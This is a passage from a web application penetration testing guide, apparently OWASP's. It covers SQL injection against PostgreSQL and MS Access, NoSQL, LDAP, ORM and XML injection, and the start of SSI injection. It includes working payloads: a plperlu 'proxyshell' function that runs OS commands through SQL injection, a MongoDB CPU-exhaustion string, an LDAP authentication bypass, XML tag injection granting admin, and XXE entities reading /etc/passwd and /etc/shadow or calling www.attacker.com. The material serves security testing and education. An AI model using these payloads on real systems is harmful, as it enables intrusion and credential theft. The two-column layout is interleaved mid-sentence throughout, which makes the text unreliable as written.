• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoa-


mi’), NULL OFFSET 1;-- tential vulnerabilities. A common approach involves injecting
standard SQL injection attack patterns (e.g. single quote, double
plperl quote, ...) in order to trigger database exceptions. Assuming that
Plperl allows us to code PostgreSQL functions in perl. Normally, it the application does not handle exceptions with custom pages, it
is installed as a trusted language in order to disable runtime ex- is possible to fingerprint the underline DBMS by observing error
ecution of operations that interact with the underlying operating messages.
system, such as open. By doing so, it’s impossible to gain OS-level
access. To successfully inject a proxyshell like function, we need Depending on the specific web technology used, MS Access driven
to install the untrusted version from the postgres user, to avoid applications will respond with one of the following errors:
the so-called application mask filtering of trusted/untrusted op-
erations. Fatal error: Uncaught exception ‘com_exception’ with mes-
sage Source: Microsoft JET Database Engine
[1] Check if PL/perl-untrusted has been enabled:
• SELECT count(*) FROM pg_language WHERE lanname=’plp- or
erlu’
Microsoft JET Database Engine error ‘80040e14’
[2] If not, assuming that sysadm has already installed the plperl
package, try : or
• CREATE LANGUAGE plperlu
Microsoft Office Access Database Engine
[3] If either of the above succeeded, create a proxy shell function:
• CREATE FUNCTION proxyshell(text) RETURNS text AS
‘open(FD,”$_[0] |”);return join(“”,<FD>);’ LANGUAGE plperlu In all cases, we have a confirmation that we’re testing an applica-
tion using MS Access database.
[4] Have fun with:
• SELECT proxyshell(os command); Basic Testing
Unfortunately, MS Access doesn’t support typical operators that
Example: are traditionally used during SQL injection testing, including:
[1] Create a proxy shell function:
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RE- • No comments characters
TURNS text AS ‘open(FD,”$_[0] |”);return join(“”,<FD>);’ LAN- • No stacked queries
GUAGE plperlu; • No LIMIT operator
• No SLEEP or BENCHMARK alike operators
[2] Run an OS Command: • and many others
• /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoa-
mi’), NULL OFFSET 1;-- Nevertheless, it is possible to emulate those functions by combin-
ing multiple operators or by using alternative techniques. As men-
References tioned, it is not possible to use the trick of inserting the characters
• OWASP : “Testing for SQL Injection” /*, -- or # in order to truncate the query. However, we can fortu-
• OWASP : SQL Injection Prevention Cheat Sheet nately bypass this limitation by injecting a ‘null’ character. Using a
• PostgreSQL : “Official Documentation” - null byte %00 within a SQL query results in MS Access ignoring all
http://www.postgresql.org/docs/ remaining characters. This can be explained by considering that all
• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injec strings are NULL terminated in the internal representation used
tion tool - http://sqlmap.sourceforge.net by the database. It is worth mentioning that the ‘null’ character
can sometimes cause troubles too as it may truncate strings at
Testing for MS Access the web server level. In those situations, we can however employ
Summary another character: 0x16 (%16 in URL encoded format).
As explained in the generic SQL injection section, SQL injection
vulnerabilities occur whenever user-supplied input is used during Considering the following query:
the construction of a SQL query without being adequately con-
strained or sanitized. This class of vulnerabilities allows an attack- SELECT [username],[password] FROM users WHERE [user-
er to execute SQL code under the privileges of the user that is used name]=’$myUsername’ AND [password]=’$myPassword’
to connect to the database. In this section, relevant SQL injection
techniques that utilize specific features of Microsoft Access will
be discussed. We can truncate the query with the following two URLs:

How to Test http://www.example.com/page.asp?user=admin’%00&-


Fingerprinting pass=foo
Fingerprinting the specific database technology while testing http://www.example.com/page.app?user=admin’%16&-
SQL-powered application is the first step to properly asses po- pass=foo
129

Web Application Penetration Testing

The LIMIT operator is not implemented in MS Access, however it the following query:
is possible to limit the number of results by using the TOP or LAST
operators instead. ‘ UNION SELECT Name FROM MSysObjects WHERE Type =
1%00
http://www.example.com/page.app?id=2’+UNION+SE-
LECT+TOP+3+name+FROM+appsTable%00
Alternatively, it is always possible to bruteforce the database schema
by using a standard wordlist (e.g. FuzzDb).
By combining both operators, it is possible to select specific re-
sults. String concatenation is possible by using & (%26) and + (%2b) In some cases, developers or system administrators do not realize
characters. that including the actual .mdb file within the application webroot can
allow to download the entire database. Database filenames can be in-
There are also many other functions that can be used while test- ferred with the following query:
ing SQL injection, including but not limited to:
http://www.example.com/page.app?id=1’+UNION+SE-
• ASC: Obtain the ASCII value of a character passed as input LECT+1+FROM+name.table%00
• CHR: Obtain the character of the ASCII value passed as input
• LEN: Return the length of the string passed as parameter
• IIF: Is the IF construct, for example the following statement where name is the .mdb filename and table is a valid database table. In
IIF(1=1, ‘a’, ‘b’) return ‘a’ case of password protected databases, multiple software utilities can
• MID: This function allows you to extract substring, for example be used to crack the password. Please refer to the references.
the following statement mid(‘abc’,1,1) return ‘a’
• TOP: This function allows you to specify the maximum number Blind SQL Injection Testing
of results that the query should return from the top. For example Blind SQL Injection vulnerabilities are by no means the most easily ex-
TOP 1 will return only 1 row. ploitable SQL injections while testing real-life applications. In case of
• LAST: This function is used to select only the last row of a set of recent versions of MS Access, it is also not feasible to execute shell
rows. For example the following query SELECT last(*) FROM us- commands or read/write arbitrary files.
ers will return only the last row of the result.
In case of blind SQL injections, the attacker can only infer the result of
Some of these operators are essential to exploit blind SQL injections. the query by evaluating time differences or application responses. It is
For other advanced operators, please refer to the documents in the supposed that the reader already knows the theory behind blind SQL
references. injection attacks, as the remaining part of this section will focus on MS
Access specific details.
Attributes Enumeration
In order to enumerate the column of a database table, it is possible The following example is used:
to use a common error-based technique. In short, we can obtain the
attributes name by analyzing error messages and repeating the que-
http://www.example.com/index.php?myId=[sql]
ry with different selectors. For example, assuming that we know the
existence of a column, we can also obtain the name of the remaining
attributes with the following query: where the id parameter is used within the following query:

‘ GROUP BY Id%00 SELECT * FROM orders WHERE [id]=$myId

In the error message received, it is possible to observe the name of the Let’s consider the myId parameter vulnerable to blind SQL injection.
next column. At this point, we can iterate the method until we obtain As an attacker, we want to extract the content of column ‘username’
the name of all attributes. If we don’t know the name of the first attri- in the table ‘users’, assuming that we have already disclosed the da-
bute, we can still insert a fictitious column name and obtain the name tabase schema.
of the first attribute within the error message.
A typical query that can be used to infer the first character of the user-
Obtaining Database Schema name of the 10th rows is:
Various system tables exist by default in MS Access that can be poten-
tially used to obtain table names and columns. Unfortunately, in the http://www.example.com/index.php?id=IIF((select%20
default configuration of recent MS Access database releases, these MID(LAST(username),1,1)%20from%20(select%20TOP%20
tables are not accessible. Nevertheless, it is always worth trying: 10%20username%20from%20users))=’a’,0,’no’)

• MSysObjects
• MSysACEs If the first character is ‘a’, the query will return 0 or otherwise the string
• MSysAccessXML ‘no’.

For example, if a union SQL injection vulnerability exists, you can use By using a combination of the IFF, MID, LAST and TOP functions, it is
130

Web Application Penetration Testing

possible to extract the first character of the username on a specifically than traditional SQL injection.
selected row. As the inner query returns a set of records, and not just
one, it is not possible to use it directly. Fortunately, we can combine NoSQL database calls are written in the application’s program-
multiple functions to extract a specific string. ming language, a custom API call, or formatted according to a
common convention (such as XML, JSON, LINQ, etc). Malicious
Let’s assume that we want to retrieve the username of the 10th row. input targeting those specifications may not trigger the primarily
First, we can use the TOP function to select the first ten rows using application sanitization checks. For example, filtering out common
the following query: HTML special characters such as < > & ; will not prevent attacks
against a JSON API, where special characters include / { } : .
SELECT TOP 10 username FROM users
There are now over 150 NoSQL databases available[3] for use
within an application, providing APIs in a variety of languages and
Then, using this subset, we can extract the last row by using the relationship models. Each offers different features and restric-
LAST function. Once we have only one row and exactly the row tions. Because there is not a common language between them,
containing our string, we can use the IFF, MID and LAST functions example injection code will not apply across all NoSQL databases.
to infer the actual value of the username. In our example, we em- For this reason, anyone testing for NoSQL injection attacks will
ploy IFF to return a number or a string. Using this trick, we can need to familiarize themselves with the syntax, data model, and
distinguish whether we have a true response or not, by observing underlying programming language in order to craft specific tests.
application error responses. As id is numeric, the comparison with
a string results in a SQL error that can be potentially leaked by 500 NoSQL injection attacks may execute in different areas of an ap-
Internal Server Error pages. Otherwise, a standard 200 OK page plication than traditional SQL injection. Where SQL injection would
will be likely returned. execute within the database engine, NoSQL variants may execute
For example, we can have the following query: during within the application layer or the database layer, depend-
ing on the NoSQL API used and data model. Typically NoSQL injec-
http://www.example.com/index.php?id=’%20AND%20 tion attacks will execute where the attack string is parsed, evalu-
1=0%20OR%20’a’=IIF((select%20MID(LAST(user- ated, or concatenated into a NoSQL API call.
name),1,1)%20from%20(select%20TOP%2010%20user-
name%20from%20users))=’a’,’a’,’b’)%00 Additional timing attacks may be relevant to the lack of concur-
rency checks within a NoSQL database. These are not covered un-
der injection testing. At the time of writing MongoDB is the most
that is TRUE if the first character is ‘a’ or false otherwise. widely used NoSQL database, and so all examples will feature
MongoDB APIs.
As mentioned, this method allows to infer the value of arbitrary
strings within the database: How to Test
Testing for NoSQL injection vulnerabilities in MongoDB:
[1] By trying all printable values, until we find a match The MongoDB API expects BSON (Binary JSON) calls, and includes
[2] By inferring the length of the string using the LEN function, a secure BSON query assembly tool. However, according to Mon-
or by simply stopping after we have found all characters goDB documentation - unserialized JSON and JavaScript expres-
sions are permitted in several alternative query parameters.[4]
Time-based blind SQL injections are also possible by abusing The most commonly used API call allowing arbitrary JavaScript
heavy queries. input is the $where operator.

References The MongoDB $where operator typically is used as a simple filter


• http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html or check, as it is within SQL.
• http://packetstormsecurity.com/files/65967/Access-Through-
Access.pdf.html db.myCollection.find( { $where: “this.credits == this.debits”
• http://seclists.org/pen-test/2003/May/74 } );
• http://www.techonthenet.com/access/functions/index_
alpha.php
• http://en.wikipedia.org/wiki/Microsoft_Access Optionally JavaScript is also evaluated to allow more advanced
conditions.
Testing for NoSQL injection
Summary
db.myCollection.find( { $where: function() { return obj.credits
NoSQL databases provide looser consistency restrictions than
- obj.debits < 0; } } );
traditional SQL databases. By requiring fewer relational con-
straints and consistency checks, NoSQL databases often offer
performance and scaling benefits. Yet these databases are still Example 1
potentially vulnerable to injection attacks, even if they aren’t us- If an attacker were able to manipulate the data passed into the
ing the traditional SQL syntax. Because these NoSQL injection at- $where operator, that attacker could include arbitrary JavaScript
tacks may execute within a procedural[1] language , rather than in to be evaluated as part of the MongoDB query. An example vul-
the declarative[2] SQL language, the potential impacts are greater nerability is exposed in the following code, if user input is passed
131

Web Application Penetration Testing

directly into the MongoDB query without sanitization. One way to potentially assign data to PHP variables is via HTTP
Parameter Pollution (see: Testing_for_HTTP_Parameter_pollu-
b.myCollection.find( { active: true, $where: function() { return tion_(OTG-INPVAL-004)). By creating a variable named $where
obj.credits - obj.debits < $userInput; } } );; via parameter pollution, one could trigger a MongoDB error indi-
cating that the query is no longer valid.
Any value of $where other than the string “$where” itself, should
As with testing other types of injection, one does not need to ful- suffice to demonstrate vulnerability. An attacker would develop a
ly exploit the vulnerability to demonstrate a problem. By injecting full exploit by inserting the following: “$where: function() { //arbi-
special characters relevant to the target API language, and ob- trary JavaScript here }”
serving the results, a tester can determine if the application cor-
rectly sanitized the input. For example within MongoDB, if a string References
containing any of the following special characters were passed Whitepapers
unsanitized, it would trigger a database error. • Bryan Sullivan from Adobe: “Server-Side JavaScript Injection”
- https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_
‘“\;{} Sullivan_Server_Side_WP.pdf
• Bryan Sullivan from Adobe: “NoSQL, But Even Less Security”
With normal SQL injection, a similar vulnerability would allow an - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-
attacker to execute arbitrary SQL commands - exposing or manip- Even-Less-Security.pdf
ulating data at will. However, because JavaScript is a fully featured • Erlend from Bekk Consulting: “[Security] NOSQL-injection” -
language, not only does this allow an attacker to manipulate data, http://erlend.oftedal.no/blog/?blogid=110
but also to run arbitrary code. For example, instead of just causing • Felipe Aragon from Syhunt: “NoSQL/SSJS Injection” -
an error when testing, a full exploit would use the special charac- http://www.syhunt.com/?n=Articles.NoSQLInjection
ters to craft valid JavaScript. • MongoDB Documentation: “How does MongoDB address
SQL or Query injection?” - http://docs.mongodb.org/manual/
This input 0;var date=new Date(); do{curDate = new Date();} faq/developers/#how-does-mongodb-address-sql-or-query-
while(curDate-date<10000) inserted into $userInput in the above injection
example code would result in the following JavaScript function • PHP Documentation: “MongoCollection::find” -
being executed. This specific attack string would case the entire http://php.net/manual/en/mongocollection.find.php
MongoDB instance to execute at 100% CPU usage for 10 second. • “Hacking NodeJS and MongoDB” -
http://blog.websecurify.com/2014/08/hacking-nodejs-and-
function() { return obj.credits - obj.debits < 0;var mongodb.html
date=new Date(); do{curDate = new Date();}while(cur- • “Attacking NodeJS and MongoDB” - http://blog.websecurify.
Date-date<10000); } com/2014/08/attacks-nodejs-and-mongodb-part-to.html

Testing for LDAP Injection (OTG-INPVAL-006)


Example 2 Summary
Even if the input used within queries is completely sanitized or pa- The Lightweight Directory Access Protocol (LDAP) is used to store
rameterized, there is an alternate path in which one might trigger information about users, hosts, and many other objects. LDAP in-
NoSQL injection. Many NoSQL instances have their own reserved jection is a server side attack, which could allow sensitive infor-
variable names, independent of the application programming lan- mation about users and hosts represented in an LDAP structure
guage. to be disclosed, modified, or inserted. This is done by manipulating
input parameters afterwards passed to internal search, add, and
For example within MongoDB, the $where syntax itself is a re- modify functions.
served query operator. It needs to be passed into the query exactly
as shown; any alteration would cause a database error. However, A web application could use LDAP in order to let users authenti-
because $where is also a valid PHP variable name, it may be pos- cate or search other users’ information inside a corporate struc-
sible for an attacker to insert code into the query by creating a ture. The goal of LDAP injection attacks is to inject LDAP search
PHP variable named $where. The PHP MongoDB documentation filters metacharacters in a query which will be executed by the
explicitly warns developers: application.

Please make sure that for all special query operators (start- [Rfc2254] defines a grammar on how to build a search filter on
ing with $) you use single quotes so that PHP doesn’t try to LDAPv3 and extends [Rfc1960] (LDAPv2).
replace “$exists” with the value of the variable $exists.
An LDAP search filter is constructed in Polish notation, also known
Even if a query depended on no user input, such as the following as [prefix notation].
example, an attacker could exploit MongoDB by replacing the op-
erator with malicious data. This means that a pseudo code condition on a search filter like
this:
db.myCollection.find( { $where: function() { return obj.credits
- obj.debits < 0; } } ); find(“cn=John & userPassword=mypass”)
132

Web Application Penetration Testing

will be represented as: the filter will look like:

searchfilter=”(cn=*)”
find(“(&(cn=John)(userPassword=mypass))”)

which matches every object with a ‘cn’ attribute equals to any-


Boolean conditions and group aggregations on an LDAP search fil- thing.
ter could be applied by using the following metacharacters:
If the application is vulnerable to LDAP injection, it will display
some or all of the users’ attributes, depending on the application’s
Metachar Meaning
execution flow and the permissions of the LDAP connected user.

& Boolean AND A tester could use a trial-and-error approach, by inserting in the
parameter ‘(‘, ‘|’, ‘&’, ‘*’ and the other characters, in order to check
the application for errors.
| Boolean OR
Example 2: Login
! Boolean NOT If a web application uses LDAP to check user credentials during
the login process and it is vulnerable to LDAP injection, it is possi-
ble to bypass the authentication check by injecting an always true
= Equals
LDAP query (in a similar way to SQL and XPATH injection ).

~= Approx Let’s suppose a web application uses a filter to match LDAP user/
password pair.
>= Greater than
searchlogin= “(&(uid=”+user+”)(userPassword={M-
D5}”+base64(pack(“H*”,md5(pass)))+”))”;
<= Less than
By using the following values:
* Any character user=*)(uid=*))(|(uid=*
pass=password
() Grouping parenthesis
the search filter will results in:

More complete examples on how to build a search filter can be searchlogin=”(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}


found in the related RFC. X03MO1qnZdYdgyfeuILPmQ==))”;
A successful exploitation of an LDAP injection vulnerability could
allow the tester to: which is correct and always true. This way, the tester will gain
logged-in status as the first user in LDAP tree.
• Access unauthorized content
• Evade application restrictions Tools
• Gather unauthorized informations • Softerra LDAP Browser -
• Add or modify Objects inside LDAP tree structure. http://www.ldapadministrator.com/

How to Test References


Example 1: Search Filters Whitepapers
Let’s suppose we have a web application using a search filter like • Sacha Faust: “LDAP Injection: Are Your Applications Vulnerable?”
the following one: - http://www.networkdls.com/articles/ldapinjection.pdf
• Bruce Greenblatt: “LDAP Overview” -
searchfilter=”(cn=”+user+”)” http://www.directory-applications.com/ldap3_files/frame.htm
• IBM paper: “Understanding LDAP” -
which is instantiated by an HTTP request like this: http://www.redbooks.ibm.com/redbooks/SG244986.html
• RFC 1960: “A String Representation of LDAP Search Filters” -
http://www.ietf.org/rfc/rfc1960.txt
http://www.example.com/ldapsearch?user=John
Testing for ORM Injection
If the value ‘John’ is replaced with a ‘*’, by sending the request: (OTG-INPVAL-007)
Summary
ORM Injection is an attack using SQL Injection against an ORM
http://www.example.com/ldapsearch?user=*
generated data access object model. From the point of view of a
133

Web Application Penetration Testing

tester, this attack is virtually identical to a SQL Injection attack. • OWASP Interpreter Injection
However, the injection vulnerability exists in code generated by
the ORM tool. Testing for XML Injection (OTG-INPVAL-008)
An ORM is an Object Relational Mapping tool. Summary
It is used to expedite object oriented development within the data XML Injection testing is when a tester tries to inject an XML doc
access layer of software applications, including web applications. to the application. If the XML parser fails to contextually validate
The benefits of using an ORM tool include quick generation of an data, then the test will yield a positive result.
object layer to communicate to a relational database, standard-
ized code templates for these objects, and usually a set of safe This section describes practical examples of XML Injection. First,
functions to protect against SQL Injection attacks. an XML style communication will be defined and its working prin-
ORM generated objects can use SQL or in some cases, a variant of ciples explained. Then, the discovery method in which we try to
SQL, to perform CRUD (Create, Read, Update, Delete) operations insert XML metacharacters. Once the first step is accomplished,
on a database. It is possible, however, for a web application using the tester will have some information about the XML structure, so
ORM generated objects to be vulnerable to SQL Injection attacks if it will be possible to try to inject XML data and tags (Tag Injection).
methods can accept unsanitized input parameters.
How to Test
ORM tools include Hibernate for Java, NHibernate for .NET, Acti- Let’s suppose there is a web application using an XML style com-
veRecord for Ruby on Rails, EZPDO for PHP and many others. For munication in order to perform user registration. This is done by
a reasonably comprehensive list of ORM tools, see http://en.wiki- creating and adding a new <user> node in an xmlDb file.
pedia.org/wiki/List_of_object-relational_mapping_software
Let’s suppose the xmlDB file is like the following:
How to Test
Black Box testing
Blackbox testing for ORM Injection vulnerabilities is identical to <?xml version=”1.0” encoding=”ISO-8859-1”?>
SQL Injection testing (see Testing for SQL Injection). In most cases, <users>
the vulnerability in the ORM layer is a result of customized code <user>
that does not properly validate input parameters. <username>gandalf</username>
Most ORM tools provide safe functions to escape user input. <password>!c3</password>
However, if these functions are not used, and the developer uses <userid>0</userid>
custom functions that accept user input, it may be possible to ex- <mail>[email protected]</mail>
ecute a SQL injection attack. </user>
<user>
Gray Box testing <username>Stefan0</username>
If a tester has access to the source code for a web application, or <password>w1s3c</password>
can discover vulnerabilities of an ORM tool and tests web applica- <userid>500</userid>
tions that use this tool, there is a higher probability of successfully <mail>[email protected]</mail>
attacking the application. </user>
</users>
Patterns to look for in code include:
When a user registers himself by filling an HTML form, the applica-
• Input parameters concatenated with SQL strings. This code that tion receives the user’s data in a standard request, which, for the
uses ActiveRecord for Ruby on Rails is vulnerable (though any sake of simplicity, will be supposed to be sent as a GET request.
ORM can be vulnerable)
For example, the following values:
Orders.find_all “customer_id = 123 AND order_date = ‘#{@
params[‘order_date’]}’” Username: tony
Password: Un6R34kb!e
E-mail: [email protected]
Simply sending “’ OR 1--” in the form where order date can be
entered can yield positive results.
will produce the request:
Tools
• Hibernate http://www.hibernate.org http://www.example.com/addUser.php?username=tony&-
• NHibernate http://nhforge.org/ password=Un6R34kb!e&[email protected]
References
Whitepapers The application, then, builds the following node:
• References from Testing for SQL Injection are applicable to ORM
Injection <user>
• Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation <username>tony</username>
al_mapping
134

Web Application Penetration Testing

double quotes.
<password>Un6R34kb!e</password>
<userid>500</userid> <node attrib=”$inputValue”/>
<mail>[email protected]</mail>
</user> So if:

which will be added to the xmlDB: $inputValue = foo”

<?xml version=”1.0” encoding=”ISO-8859-1”?>


<users> the substitution gives:
<user>
<username>gandalf</username> <node attrib=”foo””/>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail> and the resulting XML document is invalid.
</user> • Angular parentheses: > and < - By adding an open or closed an-
<user> gular parenthesis in a user input like the following:
<username>Stefan0</username>
<password>w1s3c</password> Username = foo<
<userid>500</userid>
<mail>[email protected]</mail>
</user> the application will build a new node:
<user>
<username>tony</username> <user>
<password>Un6R34kb!e</password> <username>foo<</username>
<userid>500</userid> <password>Un6R34kb!e</password>
<mail>[email protected]</mail> <userid>500</userid>
</user> <mail>[email protected]</mail>
</users> </user>

Discovery but, because of the presence of the open ‘<’, the resulting XML
The first step in order to test an application for the presence document is invalid.
of a XML Injection vulnerability consists of trying to insert XML
metacharacters. • Comment tag: <!--/--> - This sequence of characters is inter-
preted as the beginning/end of a comment. So by injecting one of
XML metacharacters are: them in Username parameter:

• Single quote: ‘ - When not sanitized, this character could throw Username = foo<!--
an exception during XML parsing, if the injected value is going to
be part of an attribute value in a tag.
the application will build a node like the following:
As an example, let’s suppose there is the following attribute
<user>
<node attrib=’$inputValue’/> <username>foo<!--</username>
<password>Un6R34kb!e</password>
So, if: <userid>500</userid>
<mail>[email protected]</mail>
</user>
inputValue = foo’
which won’t be a valid XML sequence.
is instantiated and then is inserted as the attrib value:
• Ampersand: & - The ampersand is used in the XML syntax to
represent entities. The format of an entity is ‘&symbol;’. An entity
<node attrib=’foo’’/> is mapped to a character in the Unicode character set.

then, the resulting XML document is not well formed. For example:

• Double quote: “ - this character has the same meaning as sin- <tagnode>&lt;</tagnode>
gle quote and it could be used if the attribute value is enclosed in
135

Web Application Penetration Testing

is well formed and valid, and represents the ‘<’ ASCII character. Let’s consider a concrete example. Suppose we have a node con-
taining some text that will be displayed back to the user.
If ‘&’ is not encoded itself with &amp;, it could be used to test XML
injection. <html>
$HTMLCode
In fact, if an input like the following is provided: </html>

Username = &foo
Then, an attacker can provide the following input:

a new node will be created: $HTMLCode = <![CDATA[<]]>script<![C-


DATA[>]]>alert(‘xss’)<![CDATA[<]]>/script<![CDATA[>]]>
<user>
<username>&foo</username>
<password>Un6R34kb!e</password> and obtain the following node:
<userid>500</userid>
<mail>[email protected]</mail>
<html>
</user>
<![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/
script<![CDATA[>]]>
but, again, the document is not valid: &foo is not terminated with
</html>
‘;’ and the &foo; entity is undefined.

• CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are During the processing, the CDATA section delimiters are eliminat-
used to escape blocks of text containing characters which would ed, generating the following HTML code:
otherwise be recognized as markup. In other words, characters
enclosed in a CDATA section are not parsed by an XML parser.
<script>alert(‘XSS’)</script>
For example, if there is the need to represent the string ‘<foo>’
inside a text node, a CDATA section may be used:
The result is that the application is vulnerable to XSS.
<node>
<![CDATA[<foo>]]> External Entity:
</node> The set of valid entities can be extended by defining new entities.
If the definition of an entity is a URI, the entity is called an external
entity. Unless configured to do otherwise, external entities force
so that ‘<foo>’ won’t be parsed as markup and will be considered the XML parser to access the resource specified by the URI, e.g.,
as character data. a file on the local machine or on a remote systems. This behav-
ior exposes the application to XML eXternal Entity (XXE) attacks,
If a node is built in the following way: which can be used to perform denial of service of the local system,
gain unauthorized access to files on the local machine, scan re-
<username><![CDATA[<$userName]]></username> mote machines, and perform denial of service of remote systems.

To test for XXE vulnerabilities, one can use the following input:
the tester could try to inject the end CDATA string ‘]]>’ in order to
try to invalidate the XML document. <?xml version=”1.0” encoding=”ISO-8859-1”?>
<!DOCTYPE foo [
userName = ]]> <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///dev/random” >]><foo>&xxe;</
foo>
this will become:

<username><![CDATA[]]>]]></username> This test could crash the web server (on a UNIX system), if the
XML parser attempts to substitute the entity with the contents of
the /dev/random file.
which is not a valid XML fragment.
Other useful tests are the following:
Another test is related to CDATA tag. Suppose that the XML doc-
ument is processed to generate an HTML page. In this case, the <?xml version=”1.0” encoding=”ISO-8859-1”?>
CDATA section delimiters may be simply eliminated, without fur- <!DOCTYPE foo [
ther inspecting their contents. Then, it is possible to inject HTML <!ELEMENT foo ANY >
tags, which will be included in the generated page, completely by- <!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</
passing existing sanitization routines.
136

Web Application Penetration Testing

The resulting XML file is well formed. Furthermore, it is likely that, for
foo> the user tony, the value associated with the userid tag is the one ap-
pearing last, i.e., 0 (the admin ID). In other words, we have injected a
<?xml version=”1.0” encoding=”ISO-8859-1”?> user with administrative privileges.
<!DOCTYPE foo [ The only problem is that the userid tag appears twice in the last user
<!ELEMENT foo ANY > node. Often, XML documents are associated with a schema or a DTD
<!ENTITY xxe SYSTEM “file:///etc/shadow” >]><foo>&xxe;</ and will be rejected if they don’t comply with it.
foo>
Let’s suppose that the XML document is specified by the following
<?xml version=”1.0” encoding=”ISO-8859-1”?> DTD:
<!DOCTYPE foo [
<!ELEMENT foo ANY > <!DOCTYPE users [
<!ENTITY xxe SYSTEM “file:///c:/boot.ini” >]><foo>&xxe;</foo> <!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,-
<?xml version=”1.0” encoding=”ISO-8859-1”?> mail+) >
<!DOCTYPE foo [ <!ELEMENT username (#PCDATA) >
<!ELEMENT foo ANY > <!ELEMENT password (#PCDATA) >
<!ENTITY xxe SYSTEM “http://www.attacker.com/text.txt” <!ELEMENT userid (#PCDATA) >
>]><foo>&xxe;</foo> <!ELEMENT mail (#PCDATA) >
]>
Tag Injection
Once the first step is accomplished, the tester will have some infor- Note that the userid node is defined with cardinality 1. In this case, the
mation about the structure of the XML document. Then, it is possible attack we have shown before (and other simple attacks) will not work,
to try to inject XML data and tags. We will show an example of how if the XML document is validated against its DTD before any process-
this can lead to a privilege escalation attack. ing occurs.

Let’s considering the previous application. By inserting the following However, this problem can be solved, if the tester controls the value of
values: some nodes preceding the offending node (userid, in this example). In
fact, the tester can comment out such node, by injecting a comment
Username: tony start/end sequence:
Password: Un6R34kb!e
E-mail: [email protected]</mail><userid>0</userid><- Username: tony
mail>[email protected] Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>[email protected]

the application will build a new node and append it to the XML data- In this case, the final XML database is:
base:
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<?xml version=”1.0” encoding=”ISO-8859-1”?> <users>
<users> <user>
<user> <username>gandalf</username>
<username>gandalf</username> <password>!c3</password>
<password>!c3</password> <userid>0</userid>
<userid>0</userid> <mail>[email protected]</mail>
<mail>[email protected]</mail> </user>
</user> <user>
<user> <username>Stefan0</username>
<username>Stefan0</username> <password>w1s3c</password>
<password>w1s3c</password> <userid>500</userid>
<userid>500</userid> <mail>[email protected]</mail>
<mail>[email protected]</mail> </user>
</user> <user>
<user> <username>tony</username>
<username>tony</username> <password>Un6R34kb!e</pass-
<password>Un6R34kb!e</password> word><!--</password>
<userid>500</userid> <userid>500</userid>
<mail>[email protected]</mail><user- <mail>--><userid>0</userid><-
id>0</userid><mail>[email protected]</mail> mail>[email protected]</mail>
</user> </user>
</users> </users>
137

Web Application Penetration Testing

The original userid node has been commented out, leaving only web servers don’t allow the use of the exec directive to execute
the injected one. The document now complies with its DTD rules. system commands.

Tools As in every bad input validation situation, problems arise when the
• XML Injection Fuzz Strings (from wfuzz tool) - user of a web application is allowed to provide data that makes
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ the application or the web server behave in an unforeseen man-
XML.txt ner. With regard to SSI injection, the attacker could provide input
that, if inserted by the application (or maybe directly by the serv-
References er) into a dynamically generated page, would be parsed as one or
Whitepapers more SSI directives.
• Alex Stamos: “Attacking Web Services” -
http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Sta- This is a vulnerability very similar to a classical scripting language
mos-Attacking_Web_Services.ppt injection vulnerability. One mitigation is that the web server needs
• Gregory Steuck, “XXE (Xml eXternal Entity) attack”, to be configured to allow SSI. On the other hand, SSI injection vul-
http://www.securityfocus.com/archive/1/297714 nerabilities are often simpler to exploit, since SSI directives are
easy to understand and, at the same time, quite powerful, e.g.,
Testing for SSI Injection (OTG-INPVAL-009) they can output the content of files and execute system com-
Summary mands.
Web servers usually give developers the ability to add small piec-
es of dynamic code inside static HTML pages, without having to How to Test
deal with full-fledged server-side or client-side languages. This Black Box testing
feature is incarnated by the Server-Side Includes (SSI). In SSI in- The first thing to do when testing in a Black Box fashion is finding
jection testing, we test if it is possible to inject into the application if the web server actually supports SSI directives. Often, the an-
data that will be interpreted by SSI mechanisms. A successful ex- swer is yes, as SSI support is quite common. To find out we just
ploitation of this vulnerability allows an attacker to inject code into need to discover which kind of web server is running on our target,
HTML pages or even perform remote code execution. using classic information gathering techniques.

Server-Side Includes are directives that the web server parses Whether we succeed or not in discovering this piece of informa-
before serving the page to the user. They represent an alterna- tion, we could guess if SSI are supported just by looking at the
tive to writing CGI programs or embedding code using server-side content of the target web site. If it contains .shtml files, then SSI
scripting languages, when there’s only need to perform very sim- are probably supported, as this extension is used to identify pages
ple tasks. Common SSI implementations provide commands to containing these directives. Unfortunately, the use of the shtml
